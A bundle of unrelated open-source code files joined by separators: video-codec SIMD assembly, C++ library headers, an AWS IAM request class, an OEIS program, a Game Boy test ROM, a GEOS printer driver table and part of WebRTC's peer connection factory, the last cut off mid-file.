psrad m1, 14 ; clipped src_x offset
psrad m3, 14 ; pshufb edge_emu offset
pand m2, m9 ; filter offset (masked)
; load source pixels
%if ARCH_X86_64
movd r8d, m1
pshuflw m1, m1, q3232
movd r9d, m1
punpckhqdq m1, m1
movd r10d, m1
psrlq m1, 32
movd r11d, m1
movq m4, [srcq+r8]
movq m5, [srcq+r10]
movhps m4, [srcq+r9]
movhps m5, [srcq+r11]
%else
movd r3d, m1
pshufd m1, m1, q3312
movd r1d, m1
pshuflw m1, m1, q3232
movq m4, [srcq+r3]
movq m5, [srcq+r1]
movd r3d, m1
punpckhqdq m1, m1
movd r1d, m1
movhps m4, [srcq+r3]
movhps m5, [srcq+r1]
%endif
; if no emulation is required, we don't need to shuffle or emulate edges
; this also saves 2 quasi-vpgatherdqs
pxor m6, m6
pcmpeqb m6, m3
%if ARCH_X86_64
pmovmskb r8d, m6
cmp r8d, 0xffff
%else
pmovmskb r3d, m6
cmp r3d, 0xffff
%endif
je .filter
%if ARCH_X86_64
movd r8d, m3
pshuflw m3, m3, q3232
movd r9d, m3
punpckhqdq m3, m3
movd r10d, m3
psrlq m3, 32
movd r11d, m3
movsxd r8, r8d
movsxd r9, r9d
movsxd r10, r10d
movsxd r11, r11d
movq m6, [base+resize_shuf+4+r8]
movq m7, [base+resize_shuf+4+r10]
movhps m6, [base+resize_shuf+4+r9]
movhps m7, [base+resize_shuf+4+r11]
%else
movd r3d, m3
pshufd m3, m3, q3312
movd r1d, m3
pshuflw m3, m3, q3232
movq m6, [base+resize_shuf+4+r3]
movq m7, [base+resize_shuf+4+r1]
movd r3d, m3
punpckhqdq m3, m3
movd r1d, m3
movhps m6, [base+resize_shuf+4+r3]
movhps m7, [base+resize_shuf+4+r1]
%endif
paddb m6, m8
paddb m7, m8
pshufb m4, m6
pshufb m5, m7
.filter:
%if ARCH_X86_64
movd r8d, m2
pshuflw m2, m2, q3232
movd r9d, m2
punpckhqdq m2, m2
movd r10d, m2
psrlq m2, 32
movd r11d, m2
movq m6, [base+resize_filter+r8*8]
movq m7, [base+resize_filter+r10*8]
movhps m6, [base+resize_filter+r9*8]
movhps m7, [base+resize_filter+r11*8]
%else
movd r3d, m2
pshufd m2, m2, q3312
movd r1d, m2
pshuflw m2, m2, q3232
movq m6, [base+resize_filter+r3*8]
movq m7, [base+resize_filter+r1*8]
movd r3d, m2
punpckhqdq m2, m2
movd r1d, m2
movhps m6, [base+resize_filter+r3*8]
movhps m7, [base+resize_filter+r1*8]
%endif
pmaddubsw m4, m6
pmaddubsw m5, m7
phaddw m4, m5
phaddsw m4, m4
pmulhrsw m4, m10 ; x=(x+64)>>7
packuswb m4, m4
movd [dstq+xq], m4
paddd m0, m13
add xd, 4
%if STACK_ALIGNMENT >= 16
cmp xd, dst_wd
%else
cmp xd, dst_wm
%endif
jl .loop_x
add dstq, dst_stridemp
add srcq, src_stridemp
dec hd
jg .loop_y
RET
INIT_XMM ssse3
PREP_BILIN
PREP_8TAP
WARP_AFFINE_8X8
WARP_AFFINE_8X8T
INIT_XMM sse4
WARP_AFFINE_8X8
WARP_AFFINE_8X8T
INIT_XMM sse2
PREP_BILIN
PREP_8TAP
WARP_AFFINE_8X8
WARP_AFFINE_8X8T
|
/*=============================================================================
Copyright (c) 2011-2019 Bolero MURAKAMI
https://github.com/bolero-MURAKAMI/Sprout
Distributed under the Boost Software License, Version 1.0. (See accompanying
file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
=============================================================================*/
#ifndef SPROUT_TUPLE_REMAKE_HPP
#define SPROUT_TUPLE_REMAKE_HPP
#include <type_traits>
#include <sprout/config.hpp>
#include <sprout/tuple/traits.hpp>
#include <sprout/utility/forward.hpp>
namespace sprout {
namespace tuples {
//
// remake
//
template<typename Tuple, typename Tup, typename... Args>
inline SPROUT_CONSTEXPR typename sprout::tuples::tuple_construct_traits<Tuple>::copied_type
remake(Tup&& tup, Args&&... args) {
return sprout::tuples::tuple_construct_traits<Tuple>::remake(
SPROUT_FORWARD(Tup, tup),
SPROUT_FORWARD(Args, args)...
);
}
} // namespace tuples
} // namespace sprout
#endif // #ifndef SPROUT_TUPLE_REMAKE_HPP
|
/*
* Copyright 2010-2017 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
#include <aws/iam/model/GenerateServiceLastAccessedDetailsRequest.h>
#include <aws/core/utils/StringUtils.h>
#include <aws/core/utils/memory/stl/AWSStringStream.h>
using namespace Aws::IAM::Model;
using namespace Aws::Utils;
GenerateServiceLastAccessedDetailsRequest::GenerateServiceLastAccessedDetailsRequest() :
m_arnHasBeenSet(false),
m_granularity(AccessAdvisorUsageGranularityType::NOT_SET),
m_granularityHasBeenSet(false)
{
}
Aws::String GenerateServiceLastAccessedDetailsRequest::SerializePayload() const
{
Aws::StringStream ss;
ss << "Action=GenerateServiceLastAccessedDetails&";
if(m_arnHasBeenSet)
{
ss << "Arn=" << StringUtils::URLEncode(m_arn.c_str()) << "&";
}
if(m_granularityHasBeenSet)
{
ss << "Granularity=" << AccessAdvisorUsageGranularityTypeMapper::GetNameForAccessAdvisorUsageGranularityType(m_granularity) << "&";
}
ss << "Version=2010-05-08";
return ss.str();
}
void GenerateServiceLastAccessedDetailsRequest::DumpBodyToUrl(Aws::Http::URI& uri ) const
{
uri.SetQueryString(SerializePayload());
}
|
; A143608: A005319 and A002315 interleaved.
; Submitted by Jamie Morken(s2)
; 0,1,4,7,24,41,140,239,816,1393,4756,8119,27720,47321,161564,275807,941664,1607521,5488420,9369319,31988856,54608393,186444716,318281039,1086679440,1855077841,6333631924,10812186007,36915112104,63018038201,215157040700,367296043199,1254027132096,2140758220993,7309005751876,12477253282759,42600007379160,72722761475561,248291038523084,423859315570607,1447146223759344,2470433131948081,8434586304032980,14398739476117879,49160371600438536,83922003724759193,286527643298598236,489133282872437279
mov $3,$0
mov $5,$0
lpb $3
mov $0,$5
sub $3,1
sub $0,$3
mov $6,$0
mov $7,0
mov $8,$0
lpb $6
mov $0,$8
sub $6,1
sub $0,$6
mov $10,2
mov $12,$0
lpb $10
mov $0,$12
sub $10,1
add $0,$10
sub $0,1
lpb $0
div $0,2
mov $4,$0
mov $0,$2
seq $4,281237 ; Solutions x to the negative Pell equation y^2 = 72*x^2 - 73728 with x,y >= 0.
mul $4,2
lpe
mov $9,$10
lpb $9
sub $9,1
mov $11,$4
lpe
lpe
mov $4,$11
div $4,64
add $7,$4
lpe
lpe
mov $0,$7
|
/**
* Arquivo com a implemetação dos métodos do arquivo "no.h"
* @Author: Derik
* @Data: Oct, 2019
* @License: MIT
*/
//========================= arquivos header =====================================
#include <iostream>
#include "no.h"
//========================= Declaração de namespaces ============================
using namespace std;
//========================= Construtores ========================================
Node::Node(){
this->anterior = NULL;
this->proximo = NULL;
this->dado = ' ';
}
Node::Node(Node &node){
this->anterior = node.getAnterior();
this->dado = node.getData();
this->proximo = node.getProximo();
}
//========================= Setter's =============================================
void Node::setData(char data){
this->dado = data;
}
void Node::setAnterior(Node *anterior){
this->anterior = anterior;
}
void Node::setProximo(Node *proximo){
this->proximo = proximo;
}
//========================= Getter's =============================================
char Node::getData(){
return this->dado;
}
Node *Node::getAnterior(){
return this->anterior;
}
Node *Node::getProximo(){
return this->proximo;
}
//----------------------------------------------------------------------------------- |
.size 8000
.text@48
jp lstatint
.text@100
jp lbegin
.data@143
80
.text@150
lbegin:
ld c, 41
ld b, 03
lbegin_waitm3:
ldff a, (c)
and a, b
cmp a, b
jrnz lbegin_waitm3
ldff a, (44)
inc a
ldff(45), a
ld a, 60
ldff(c), a
xor a, a
ldff(0f), a
ld a, 02
ldff(ff), a
ei
ld c, 0f
.text@1000
lstatint:
ld a, 40
ldff(41), a
xor a, a
ldff(c), a
.text@1065
ld a, 60
ldff(41), a
ldff a, (c)
and a, b
jp lprint_a
.text@7000
lprint_a:
push af
ld b, 91
call lwaitly_b
xor a, a
ldff(40), a
pop af
ld(9800), a
ld bc, 7a00
ld hl, 8000
ld d, a0
lprint_copytiles:
ld a, (bc)
inc bc
ld(hl++), a
dec d
jrnz lprint_copytiles
ld a, c0
ldff(47), a
ld a, 80
ldff(68), a
ld a, ff
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
xor a, a
ldff(69), a
ldff(69), a
ldff(43), a
ld a, 91
ldff(40), a
lprint_limbo:
jr lprint_limbo
.text@7400
lwaitly_b:
ld c, 44
lwaitly_b_loop:
ldff a, (c)
cmp a, b
jrnz lwaitly_b_loop
ret
.data@7a00
00 00 7f 7f 41 41 41 41
41 41 41 41 41 41 7f 7f
00 00 08 08 08 08 08 08
08 08 08 08 08 08 08 08
00 00 7f 7f 01 01 01 01
7f 7f 40 40 40 40 7f 7f
00 00 7f 7f 01 01 01 01
3f 3f 01 01 01 01 7f 7f
00 00 41 41 41 41 41 41
7f 7f 01 01 01 01 01 01
00 00 7f 7f 40 40 40 40
7e 7e 01 01 01 01 7e 7e
00 00 7f 7f 40 40 40 40
7f 7f 41 41 41 41 7f 7f
00 00 7f 7f 01 01 02 02
04 04 08 08 10 10 10 10
00 00 3e 3e 41 41 41 41
3e 3e 41 41 41 41 3e 3e
00 00 7f 7f 41 41 41 41
7f 7f 01 01 01 01 7f 7f
|
#include <bits/stdc++.h>
#define sd(x) scanf("%d",&x)
#define sd2(x,y) scanf("%d%d",&x,&y)
#define sd3(x,y,z) scanf("%d%d%d",&x,&y,&z)
#define fi first
#define se second
#define pb push_back
#define mp make_pair
#define foreach(it, v) for(__typeof((v).begin()) it=(v).begin(); it != (v).end(); ++it)
#define meta __FUNCTION__,__LINE__
#define _ ios_base::sync_with_stdio(false);cin.tie(NULL);cout.tie(NULL);
#define __ freopen("input.txt","r",stdin);freopen("output.txt","w",stdout);
using namespace std;
const long double PI = 3.1415926535897932384626433832795;
template<typename S, typename T>
ostream& operator<<(ostream& out,pair<S,T> const& p){out<<'('<<p.fi<<", "<<p.se<<')';return out;}
template<typename T>
ostream& operator<<(ostream& out,vector<T> const& v){
int l=v.size();for(int i=0;i<l-1;i++)out<<v[i]<<' ';if(l>0)out<<v[l-1];return out;}
void tr(){cout << endl;}
template<typename S, typename ... Strings>
void tr(S x, const Strings&... rest){cout<<x<<' ';tr(rest...);}
typedef long long ll;
typedef pair<int,int> pii;
map<char, char> f;
int main(){
f['A'] = 'A';
f['H'] = 'H';
f['I'] = 'I';
f['M'] = 'M';
f['O'] = 'O';
f['T'] = 'T';
f['U'] = 'U';
f['V'] = 'V';
f['W'] = 'W';
f['X'] = 'X';
f['Y'] = 'Y';
f['b'] = 'd';
f['d'] = 'b';
f['o'] = 'o';
f['p'] = 'q';
f['q'] = 'p';
f['v'] = 'v';
f['w'] = 'w';
f['x'] = 'x';
string s;
cin >> s;
for(int i = 0, j = s.length() - 1; i <= j; i++, j--){
if(!f.count(s[i])){
puts("NIE"); return 0;
}
if(f[s[i]] != s[j]){
puts("NIE"); return 0;
}
}
puts("TAK");
return 0;
}
|
#pragma once
#include <robot_remote_control/Types/RobotRemoteControl.pb.h>
#include <string>
#include <base/samples/Pointcloud.hpp>
#include "Time.hpp"
namespace robot_remote_control {
namespace RockConversion {
inline static void convert(base::samples::Pointcloud rock_type, PointCloud *rrc_type, const std::string frame = "world") {
for (auto &point : rock_type.points) {
robot_remote_control::Position* p = rrc_type->add_points();
p->set_x(point[0]);
p->set_y(point[1]);
p->set_z(point[2]);
}
// std::vector<base::Vector4d> colors;
if (rock_type.colors.size()) {
for (auto &color : rock_type.colors) {
robot_remote_control::ChannelFloat *channel = rrc_type->add_channels();
channel->set_name("color_rgba");
channel->add_values(color[0]);
channel->add_values(color[1]);
channel->add_values(color[2]);
channel->add_values(color[3]);
}
}
rrc_type->set_frame(frame);
}
inline static void convert(const PointCloud& rrc_type, base::samples::Pointcloud *rock_type) {
rock_type->points.clear();
rock_type->colors.clear();
convert(rrc_type.timestamp(), &(rock_type->time));
rock_type->points.reserve(rrc_type.points().size());
for (auto &point : rrc_type.points()) {
base::Point rock_point;
rock_point[0] = point.x();
rock_point[1] = point.y();
rock_point[2] = point.z();
rock_type->points.push_back(rock_point);
}
if (rrc_type.channels_size()) {
for (auto &channel : rrc_type.channels()) {
if (channel.name() == "color_rgba") {
rock_type->colors.reserve(channel.values().size()/4);
int index = 0;
base::Vector4d rock_color;
for (auto &color : channel.values()) {
int colorindex = index % 4;
rock_color[colorindex] = color;
if (colorindex == 3) {
rock_type->colors.push_back(rock_color);
}
}
}
}
}
}
} // namespace RockConversion
} // namespace robot_remote_control
|
;start of brushes
.dw grass
.dw path
.dw path_corner1
.dw path_corner2
.dw path_corner3
.dw path_corner4
.dw path_round1
.dw flower
.dw tree_topleft
.dw tree_topright
.dw tree_topleft_forest
.dw tree_topright_forest
.dw tree_bottom_left
.dw tree_bottomright
.dw sign_item
.dw wall_vert
.dw wall_horiz
.dw wall_bottom_left_corner
.dw wall_bottom_right_corner
.dw wall_top_left_corner
.dw wall_top_right_corner
.dw house_new_left
.dw house_new_right
.dw door_pretty
.dw door_old_books
.dw house_old_left_sign
.dw house_old_right
.dw roof_left
.dw roof_right
.dw roof_bookshop
.dw roof_item_shop
.dw roof_weapon_shop
.dw sign_hanging_libros
.dw sign_weapon
.dw arch_bottom_left
.dw arch_bottom_middle
.dw arch_bottom_right
.dw arch_top_left
.dw arch_top_middle
.dw arch_top_right
grass:
.db %00000000
.db 0
path:
.db %00000000
.db 1
path_corner1:
.db %00000000
.db 2
path_corner2:
.db %00000000
.db 3
path_corner3:
.db %00000000
.db 4
path_corner4:
.db %00000000
.db 5
path_round1:
.db %00000000
.db 6
flower:
.db %00000000
.db 7
tree_topleft:
.db %00001100
.db 8
.db 11
.db 0
tree_topright:
.db %00001100
.db 9
.db 12
.db 0
tree_topleft_forest:
.db %00001110
.db 10
.db 18
.db 4
tree_topright_forest:
.db %00001110
.db 11
.db 18
.db 4
tree_bottom_left:
.db %00000110
.db 12
.db 9
.db 2
tree_bottomright:
.db %00000110
.db 13
.db 10
.db 2
sign_item:
.db %10000110
.db 14
.db -1
.db 14
.db TEXT \ .dw text2
wall_vert:
.db %00000010
.db 15
wall_horiz:
.db %00000110
.db 16
.db 15
.db 6
wall_bottom_left_corner:
.db %00000010
.db 17
wall_bottom_right_corner:
.db %00000010
.db 18
wall_top_left_corner:
.db %00000110
.db 19
.db 16
.db 6
wall_top_right_corner:
.db %00000110
.db 20
.db 17
.db 6
house_new_left:
.db %00000010
.db 21
house_new_right:
.db %00000010
.db 22
door_pretty:
.db %00000010
.db 23
door_old_books:
.db %01000010
.db 24
.db MAP,5,7,2
house_old_left_sign:
.db %00000010
.db 25
house_old_right:
.db %00000010
.db 26
roof_left:
.db %00000110
.db 27
.db 5
.db 1
roof_right:
.db %00000110
.db 28
.db 6
.db 10
roof_bookshop:
.db %00000110
.db 29
.db 18
.db 0
roof_item_shop:
.db %00000110
.db 30
.db 18
.db 0
roof_weapon_shop:
.db %00000110
.db 31
.db 18
.db 0
sign_hanging_libros:
.db %10000110
.db 32
.db -1
.db 14
.db TEXT \ .dw text1
sign_weapon:
.db %10000110
.db 14
.db 7
.db 14
.db TEXT \ .dw text0
arch_bottom_left:
.db %00000110
.db 33
.db 19
.db 6
arch_bottom_middle:
.db %00000100
.db 34
.db 20
.db 0
arch_bottom_right:
.db %00000110
.db 35
.db 21
.db 6
arch_top_left:
.db %00001100
.db 36
.db 22
.db 0
arch_top_middle:
.db %00001100
.db 37
.db 23
.db 0
arch_top_right:
.db %00001100
.db 38
.db 24
.db 0
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Berkeley Softworks 1990 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: deskjet KCMY driver
FILE: mercuryInfo.asm
AUTHOR: Dave Durran
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 5/92 Initial revision from inter1Info.asm
DESCRIPTION:
This file contains the device information for the HP deskjet 550C
Other Printers Supported by this resource:
$Id: mercuryInfo.asm,v 1.1 97/04/18 11:52:31 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
;----------------------------------------------------------------------------
; HP internal font set common to color deskjets.
;----------------------------------------------------------------------------
mercuryInfo segment resource
; info blocks
PrinterInfo < < PT_RASTER, ; ---- PrinterType -------------
BMF_4CMYK >,
; ---- PrinterConnections ------
< IC_NO_IEEE488,
CC_NO_CUSTOM,
SC_NO_SCSI,
RC_RS232C,
CC_CENTRONICS,
FC_FILE,
AC_NO_APPLETALK >,
; ---- PrinterSmarts -----------
PS_DUMB_RASTER,
;-------Custom Entry Routine-------
NULL,
;-------Custom Exit Routine-------
NULL,
; ---- Mode Info Offsets -------
offset mercurylowRes,
offset mercurymedRes,
offset mercuryhiRes,
NULL, ;Graphics only driver.
NULL,
; ---- Font Geometry -----------
NULL,
; ---- Symbol Set list -----------
NULL,
; ---- PaperMargins ------------
< PR_MARGIN_LEFT, ; Tractor Margins
PR_MARGIN_TRACTOR,
PR_MARGIN_RIGHT,
PR_MARGIN_TRACTOR >,
< PR_MARGIN_LEFT, ; ASF Margins
PR_MARGIN_TOP,
PR_MARGIN_RIGHT,
PR_MARGIN_BOTTOM >,
; ---- PaperInputOptions -------
< MF_MANUAL1,
TF_NO_TRACTOR,
ASF_TRAY3 >,
; ---- PaperOutputOptions ------
< OC_NO_COPIES,
PS_REVERSE,
OD_SIMPLEX,
SO_NO_STAPLER,
OS_NO_SORTER,
OB_NO_OUTPUTBIN >,
;
612, ; paper width (points).
NULL, ; Main UI
ASF1BinOptionsDialogBox, ; Options UI
PrintEvalASF1Bin ; UI eval routines.
>
;----------------------------------------------------------------------------
; Graphics modes info
;----------------------------------------------------------------------------
mercurylowRes GraphicsProperties < LO_RES_X_RES, ; xres
LO_RES_Y_RES, ; yres
LO_RES_BAND_HEIGHT, ; band height
LO_RES_BUFF_HEIGHT, ; buffer height
LO_RES_INTERLEAVE_FACTOR, ;#interleaves
BMF_4CMYK, ;color format
handle dj550cInkCorrection > ;color format
mercurymedRes GraphicsProperties < MED_RES_X_RES, ; xres
MED_RES_Y_RES, ; yres
MED_RES_BAND_HEIGHT, ; band height
MED_RES_BUFF_HEIGHT, ; buffer height
MED_RES_INTERLEAVE_FACTOR, ;#interleaves
BMF_4CMYK, ;color format
handle dj550cInkCorrection > ;color format
mercuryhiRes GraphicsProperties < HI_RES_X_RES, ; xres
HI_RES_Y_RES, ; yres
HI_RES_BAND_HEIGHT, ; band height
HI_RES_BUFF_HEIGHT, ; buffer height
HI_RES_INTERLEAVE_FACTOR, ;#interleaves
BMF_4CMYK, ;color format
handle dj550cInkCorrection > ;color format
;----------------------------------------------------------------------------
; Text modes info
;----------------------------------------------------------------------------
mercuryInfo ends
|
/*
* Copyright 2004 The WebRTC project authors. All Rights Reserved.
*
* Use of this source code is governed by a BSD-style license
* that can be found in the LICENSE file in the root of the source
* tree. An additional intellectual property rights grant can be found
* in the file PATENTS. All contributing project authors may
* be found in the AUTHORS file in the root of the source tree.
*/
#include "pc/peer_connection_factory.h"
#include <memory>
#include <utility>
#include <vector>
#include "api/fec_controller.h"
#include "api/media_stream_proxy.h"
#include "api/media_stream_track_proxy.h"
#include "api/network_state_predictor.h"
#include "api/peer_connection_factory_proxy.h"
#include "api/peer_connection_proxy.h"
#include "api/rtc_event_log/rtc_event_log.h"
#include "api/transport/media/media_transport_interface.h"
#include "api/turn_customizer.h"
#include "api/units/data_rate.h"
#include "api/video_track_source_proxy.h"
#include "media/base/rtp_data_engine.h"
#include "media/sctp/sctp_transport.h"
#include "p2p/base/basic_packet_socket_factory.h"
#include "p2p/client/basic_port_allocator.h"
#include "pc/audio_track.h"
#include "pc/local_audio_source.h"
#include "pc/media_stream.h"
#include "pc/peer_connection.h"
#include "pc/rtp_parameters_conversion.h"
#include "pc/video_track.h"
#include "rtc_base/bind.h"
#include "rtc_base/checks.h"
#include "rtc_base/experiments/field_trial_parser.h"
#include "rtc_base/experiments/field_trial_units.h"
#include "rtc_base/numerics/safe_conversions.h"
#include "rtc_base/system/file_wrapper.h"
#include "system_wrappers/include/field_trial.h"
namespace webrtc {
rtc::scoped_refptr<PeerConnectionFactoryInterface>
CreateModularPeerConnectionFactory(
PeerConnectionFactoryDependencies dependencies) {
rtc::scoped_refptr<PeerConnectionFactory> pc_factory(
new rtc::RefCountedObject<PeerConnectionFactory>(
std::move(dependencies)));
// Call Initialize synchronously but make sure it is executed on
// |signaling_thread|.
MethodCall0<PeerConnectionFactory, bool> call(
pc_factory.get(), &PeerConnectionFactory::Initialize);
bool result = call.Marshal(RTC_FROM_HERE, pc_factory->signaling_thread());
if (!result) {
return nullptr;
}
return PeerConnectionFactoryProxy::Create(pc_factory->signaling_thread(),
pc_factory);
}
PeerConnectionFactory::PeerConnectionFactory(
PeerConnectionFactoryDependencies dependencies)
: wraps_current_thread_(false),
network_thread_(dependencies.network_thread),
worker_thread_(dependencies.worker_thread),
signaling_thread_(dependencies.signaling_thread),
task_queue_factory_(std::move(dependencies.task_queue_factory)),
media_engine_(std::move(dependencies.media_engine)),
call_factory_(std::move(dependencies.call_factory)),
event_log_factory_(std::move(dependencies.event_log_factory)),
fec_controller_factory_(std::move(dependencies.fec_controller_factory)),
network_state_predictor_factory_(
std::move(dependencies.network_state_predictor_factory)),
injected_network_controller_factory_(
std::move(dependencies.network_controller_factory)),
media_transport_factory_(
std::move(dependencies.media_transport_factory)) {
if (!network_thread_) {
owned_network_thread_ = rtc::Thread::CreateWithSocketServer();
owned_network_thread_->SetName("pc_network_thread", nullptr);
owned_network_thread_->Start();
network_thread_ = owned_network_thread_.get();
}
if (!worker_thread_) {
owned_worker_thread_ = rtc::Thread::Create();
owned_worker_thread_->SetName("pc_worker_thread", nullptr);
owned_worker_thread_->Start();
worker_thread_ = owned_worker_thread_.get();
}
if (!signaling_thread_) {
signaling_thread_ = rtc::Thread::Current();
if (!signaling_thread_) {
// If this thread isn't already wrapped by an rtc::Thread, create a
// wrapper and own it in this class.
signaling_thread_ = rtc::ThreadManager::Instance()->WrapCurrentThread();
wraps_current_thread_ = true;
}
}
}
PeerConnectionFactory::~PeerConnectionFactory() {
RTC_DCHECK(signaling_thread_->IsCurrent());
channel_manager_.reset(nullptr);
// Make sure |worker_thread_| and |signaling_thread_| outlive
// |default_socket_factory_| and |default_network_manager_|.
default_socket_factory_ = nullptr;
default_network_manager_ = nullptr;
if (wraps_current_thread_)
rtc::ThreadManager::Instance()->UnwrapCurrentThread();
}
bool PeerConnectionFactory::Initialize() {
RTC_DCHECK(signaling_thread_->IsCurrent());
rtc::InitRandom(rtc::Time32());
default_network_manager_.reset(new rtc::BasicNetworkManager());
if (!default_network_manager_) {
return false;
}
default_socket_factory_.reset(
new rtc::BasicPacketSocketFactory(network_thread_));
if (!default_socket_factory_) {
return false;
}
channel_manager_ = std::make_unique<cricket::ChannelManager>(
std::move(media_engine_), std::make_unique<cricket::RtpDataEngine>(),
worker_thread_, network_thread_);
channel_manager_->SetVideoRtxEnabled(true);
if (!channel_manager_->Init()) {
return false;
}
return true;
}
void PeerConnectionFactory::SetOptions(const Options& options) {
options_ = options;
}
RtpCapabilities PeerConnectionFactory::GetRtpSenderCapabilities(
cricket::MediaType kind) const {
RTC_DCHECK_RUN_ON(signaling_thread_);
switch (kind) {
case cricket::MEDIA_TYPE_AUDIO: {
cricket::AudioCodecs cricket_codecs;
cricket::RtpHeaderExtensions cricket_extensions;
channel_manager_->GetSupportedAudioSendCodecs(&cricket_codecs);
channel_manager_->GetSupportedAudioRtpHeaderExtensions(
&cricket_extensions);
return ToRtpCapabilities(cricket_codecs, cricket_extensions);
}
case cricket::MEDIA_TYPE_VIDEO: {
cricket::VideoCodecs cricket_codecs;
cricket::RtpHeaderExtensions cricket_extensions;
channel_manager_->GetSupportedVideoCodecs(&cricket_codecs);
channel_manager_->GetSupportedVideoRtpHeaderExtensions(
&cricket_extensions);
return ToRtpCapabilities(cricket_codecs, cricket_extensions);
}
case cricket::MEDIA_TYPE_DATA:
return RtpCapabilities();
}
// Not reached; avoids compile warning.
FATAL();
}
RtpCapabilities PeerConnectionFactory::GetRtpReceiverCapabilities(
cricket::MediaType kind) const {
RTC_DCHECK_RUN_ON(signaling_thread_);
switch (kind) {
case cricket::MEDIA_TYPE_AUDIO: {
cricket::AudioCodecs cricket_codecs;
cricket::RtpHeaderExtensions cricket_extensions;
channel_manager_->GetSupportedAudioReceiveCodecs(&cricket_codecs);
channel_manager_->GetSupportedAudioRtpHeaderExtensions(
&cricket_extensions);
return ToRtpCapabilities(cricket_codecs, cricket_extensions);
}
case cricket::MEDIA_TYPE_VIDEO: {
cricket::VideoCodecs cricket_codecs;
cricket::RtpHeaderExtensions cricket_extensions;
channel_manager_->GetSupportedVideoCodecs(&cricket_codecs);
channel_manager_->GetSupportedVideoRtpHeaderExtensions(
&cricket_extensions);
return ToRtpCapabilities(cricket_codecs, cricket_extensions);
}
case cricket::MEDIA_TYPE_DATA:
return RtpCapabilities();
}
// Not reached; avoids compile warning.
FATAL();
}
rtc::scoped_refptr<AudioSourceInterface>
PeerConnectionFactory::CreateAudioSource(const cricket::AudioOptions& options) {
RTC_DCHECK(signaling_thread_->IsCurrent());
rtc::scoped_refptr<LocalAudioSource> source(
LocalAudioSource::Create(&options));
return source;
}
bool PeerConnectionFactory::StartAecDump(FILE* file, int64_t max_size_bytes) {
RTC_DCHECK(signaling_thread_->IsCurrent());
return channel_manager_->StartAecDump(FileWrapper(file), max_size_bytes);
}
void PeerConnectionFactory::StopAecDump() {
RTC_DCHECK(signaling_thread_->IsCurrent());
channel_manager_->StopAecDump();
}
rtc::scoped_refptr<PeerConnectionInterface>
PeerConnectionFactory::CreatePeerConnection(
const PeerConnectionInterface::RTCConfiguration& configuration,
std::unique_ptr<cricket::PortAllocator> allocator,
std::unique_ptr<rtc::RTCCertificateGeneratorInterface> cert_generator,
PeerConnectionObserver* observer) {
// Convert the legacy API into the new dependency structure.
PeerConnectionDependencies dependencies(observer);
dependencies.allocator = std::move(allocator);
dependencies.cert_generator = std::move(cert_generator);
// Pass that into the new API.
return CreatePeerConnection(configuration, std::move(dependencies));
}
rtc::scoped_refptr<PeerConnectionInterface>
PeerConnectionFactory::CreatePeerConnection(
const PeerConnectionInterface::RTCConfiguration& configuration,
PeerConnectionDependencies dependencies) {
RTC_DCHECK(signaling_thread_->IsCurrent());
RTC_DCHECK(!(dependencies.allocator && dependencies.packet_socket_factory))
<< "You can't set both allocator and packet_socket_factory; "
"the former is going away (see bugs.webrtc.org/7447";
// Set internal defaults if optional dependencies are not set.
if (!dependencies.cert_generator) {
dependencies.cert_generator =
std::make_unique<rtc::RTCCertificateGenerator>(signaling_thread_,
network_thread_);
}
if (!dependencies.allocator) {
rtc::PacketSocketFactory* packet_socket_factory;
if (dependencies.packet_socket_factory)
packet_socket_factory = dependencies.packet_socket_factory.get();
else
packet_socket_factory = default_socket_factory_.get();
network_thread_->Invoke<void>(RTC_FROM_HERE, [this, &configuration,
&dependencies,
&packet_socket_factory]() {
dependencies.allocator = std::make_unique<cricket::BasicPortAllocator>(
default_network_manager_.get(), packet_socket_factory,
configuration.turn_customizer);
});
}
// TODO(zstein): Once chromium injects its own AsyncResolverFactory, set
// |dependencies.async_resolver_factory| to a new
// |rtc::BasicAsyncResolverFactory| if no factory is provided.
network_thread_->Invoke<void>(
RTC_FROM_HERE,
rtc::Bind(&cricket::PortAllocator::SetNetworkIgnoreMask,
dependencies.allocator.get(), options_.network_ignore_mask));
std::unique_ptr<RtcEventLog> event_log =
worker_thread_->Invoke<std::unique_ptr<RtcEventLog>>(
RTC_FROM_HERE,
rtc::Bind(&PeerConnectionFactory::CreateRtcEventLog_w, this));
std::unique_ptr<Call> call = worker_thread_->Invoke<std::unique_ptr<Call>>(
RTC_FROM_HERE,
rtc::Bind(&PeerConnectionFactory::CreateCall_w, this, event_log.get()));
rtc::scoped_refptr<PeerConnection> pc(
new rtc::RefCountedObject<PeerConnection>(this, std::move(event_log),
std::move(call)));
ActionsBeforeInitializeForTesting(pc);
if (!pc->Initialize(configuration, std::move(dependencies))) {
return nullptr;
}
return PeerConnectionProxy::Create(signaling_thread(), pc);
}
rtc::scoped_refptr<MediaStreamInterface>
PeerConnectionFactory::CreateLocalMediaStream(const std::string& stream_id) {
RTC_DCHECK(signaling_thread_->IsCurrent());
return MediaStreamProxy::Create(signaling_thread_,
MediaStream::Create(stream_id));
}
rtc::scoped_refptr<VideoTrackInterface> PeerConnectionFactory::CreateVideoTrack(
const std::string& id,
VideoTrackSourceInterface* source) {
RTC_DCHECK(signaling_thread_->IsCurrent());
rtc::scoped_refptr<VideoTrackInterface> track(
VideoTrack::Create(id, source, worker_thread_));
return VideoTrackProxy::Create(signaling_thread_, worker_thread_, track);
}
rtc::scoped_refptr<AudioTrackInterface> PeerConnectionFactory::CreateAudioTrack(
const std::string& id,
AudioSourceInterface* source) {
RTC_DCHECK(signaling_thread_->IsCurrent());
rtc::scoped_refptr<AudioTrackInterface> track(AudioTrack::Create(id, source));
return AudioTrackProxy::Create(signaling_thread_, track);
}
std::unique_ptr<cricket::SctpTransportInternalFactory>
